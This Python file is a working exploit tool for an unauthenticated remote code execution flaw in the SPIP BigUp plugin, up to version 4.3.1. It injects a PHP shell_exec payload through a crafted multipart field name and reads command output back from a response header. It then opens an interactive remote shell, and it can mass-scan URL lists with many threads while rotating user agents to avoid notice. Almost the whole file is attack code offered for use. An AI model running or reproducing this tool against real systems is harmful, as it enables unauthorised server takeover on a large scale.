import sys
import base64
import random
import string
import requests
import concurrent.futures
import rich_click as click
from bs4 import BeautifulSoup
from urllib.parse import urlparse
from alive_progress import alive_bar
from prompt_toolkit import PromptSession, HTML
from prompt_toolkit.history import InMemoryHistory
from random_user_agent.user_agent import UserAgent
from random_user_agent.params import SoftwareName, OperatingSystem
requests.packages.urllib3.disable_warnings()
class SpipBigUp:
def __init__(self, base_url, verbose=True, proxy=None):
self.base_url = base_url
self.proxies = {"http": proxy, "https": proxy} if proxy else None
self.verbose = verbose
software_names = [SoftwareName.CHROME.value, SoftwareName.FIREFOX.value]
operating_systems = [
OperatingSystem.WINDOWS.value,
OperatingSystem.LINUX.value,
OperatingSystem.MAC.value,
]
user_agent_rotator = UserAgent(
software_names=software_names,
operating_systems=operating_systems,
limit=100,
)
self.headers = {"User-Agent": user_agent_rotator.get_random_user_agent()}
def custom_print(self, message: str, header: str) -> None:
header_mapping = {
"+": "",
"-": "",
"!": "",
"*": "",
}
emoji = header_mapping.get(header, "?")
formatted_message = f"{emoji} {message}"
click.echo(click.style(formatted_message, bold=True, fg="white"))
def get_form_action_args(self):
parsed_url = urlparse(self.base_url)
custom_path = parsed_url.path.lstrip("/")
pages = []
if custom_path:
pages.append(custom_path)
pages.extend(["login", "spip_pass", "contact"])
for page in pages:
url = (
f"{parsed_url.scheme}://{parsed_url.netloc}/{page}"
if custom_path and page == custom_path
else f"{self.base_url}/spip.php?page={page}"
)
try:
response = requests.get(
url,
headers=self.headers,
proxies=self.proxies,
verify=False,
timeout=5,
)
if response.status_code != 200:
continue
soup = BeautifulSoup(response.text, "html.parser")
form_data = {
"action": soup.find("input", {"name": "formulaire_action"}),
"args": soup.find("input", {"name": "formulaire_action_args"}),
}
form_data = {k: v.get("value") for k, v in form_data.items() if v}
if len(form_data) == 2:
return form_data
except requests.exceptions.RequestException as e:
if self.verbose:
self.custom_print(
f"Failed to fetch form data from `{page}` page: {e}", "-"
)
return None
def post_article_form(self, form_data, command):
try:
boundary = "".join(
random.choices(string.ascii_letters + string.digits, k=16)
)
random_name = "".join(random.choices(string.ascii_letters, k=4))
random_filename = "".join(random.choices(string.ascii_letters, k=4))
php_payload = (
f'header("X-Command-Output: " . base64_encode(shell_exec(base64_decode("{command}"))))'
).replace('"', '\\"')
parts = [
f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action"\r\n\r\n{form_data["action"]}',
f'--{boundary}\r\nContent-Disposition: form-data; name="bigup_retrouver_fichiers"\r\n\r\n1',
f'--{boundary}\r\nContent-Disposition: form-data; name="{random_name}[\' . {php_payload} . die() . \']"; filename="{random_filename}"\r\nContent-Type: text/plain\r\n\r\nContenu du fichier!',
f'--{boundary}\r\nContent-Disposition: form-data; name="formulaire_action_args"\r\n\r\n{form_data["args"]}',
f"--{boundary}--",
]
body = "\r\n".join(parts)
headers = self.headers.copy()
headers["Content-Type"] = f"multipart/form-data; boundary={boundary}"
response = requests.post(
self.base_url,
data=body,
headers=headers,
proxies=self.proxies,
verify=False,
timeout=5,
)
return response
except requests.exceptions.RequestException as e:
pass
def execute_command(self, form_data, command):
encoded_command = base64.b64encode(command.encode()).decode()
response = self.post_article_form(form_data, encoded_command)
if response and response.status_code == 200:
encoded_output = response.headers.get("X-Command-Output")
if encoded_output:
decoded_output = base64.b64decode(encoded_output).decode()
return decoded_output
return None
def check_vulnerability(self):
form_data = self.get_form_action_args()
if not form_data:
return False, None
output = self.execute_command(form_data, "whoami")
if output:
return True, output
return False, None
def interactive_shell(self):
session = PromptSession(history=InMemoryHistory())
form_data = self.get_form_action_args()
if not form_data:
self.custom_print(
"Failed to retrieve `formulaire_action_args` value from both `login` and `contact` pages.",
"-",
)
return
self.custom_print("Interactive shell started. Type `exit` to quit.", "*")
while True:
cmd = session.prompt(
HTML("<ansiyellow><b>$ </b></ansiyellow>"), default=""
).strip()
if cmd.lower() == "exit":
self.custom_print("Exiting shell...", "*")
break
if cmd.lower() == "clear":
sys.stdout.write("\x1b[2J\x1b[H")
continue
output = self.execute_command(form_data, cmd)
if output:
print(output)
else:
self.custom_print("Failed to receive response from the server.", "-")
@click.rich_config(help_config=click.RichHelpConfiguration(use_markdown=True))
@click.command(
help="""
# SPIP BigUp Unauthenticated RCE Exploit
Exploits a **Remote Code Execution vulnerability** in SPIP versions up to and including **4.3.1**.
The vulnerability lies in the **BigUp plugin**, where improperly handled file uploads can lead to **arbitrary PHP code execution**.
By crafting a malicious multipart form request, an attacker can gain remote code execution on the server.
## Use this tool responsibly.
"""
)
@click.option(
"-u",
"--url",
help="The **target URL** that you want to scan and potentially exploit.",
)
@click.option(
"-f",
"--file",
help="File containing a **list of URLs** to scan for vulnerabilities.",
)
@click.option(
"-t",
"--threads",
default=50,
show_default=True,
help="The number of **threads** to use during scanning.",
)
@click.option(
"-o",
"--output",
help="Specify an **output file** to save the list of vulnerable URLs.",
)
@click.option(
"--proxy",
help="Proxy to use for the requests (e.g., http://localhost:8080).",
)
def main(url, file, threads, output, proxy):
if url:
spip = SpipBigUp(url, proxy)
is_vulnerable, output = spip.check_vulnerability()
if is_vulnerable:
spip.custom_print(f"Target is vulnerable! Command Output: {output}", "+")
spip.interactive_shell()
else:
spip.custom_print(
"The target is not vulnerable or the exploit failed.", "-"
)
elif file:
urls = []
with open(file, "r") as url_file:
urls = [line.strip() for line in url_file if line.strip()]
def process_url(url):
spip = SpipBigUp(url, proxy)
is_vulnerable, command_output = spip.check_vulnerability()
return spip, url, is_vulnerable, command_output
with alive_bar(len(urls), enrich_print=False) as bar:
with concurrent.futures.ThreadPoolExecutor(max_workers=threads) as executor:
futures = {executor.submit(process_url, url): url for url in urls}
for future in concurrent.futures.as_completed(futures):
spip, url, is_vulnerable, command_output = future.result()
if is_vulnerable:
spip.custom_print(f"Vulnerable URL: {url}", "+")
if command_output:
spip.custom_print(f"Command Output: {command_output}", "+")
if output:
with open(output, "a") as f:
f.write(f"{url}\n")
bar()
else:
click.echo("You must specify either a single URL or a file containing URLs.")
if __name__ == "__main__":
main()
Unavailable Comments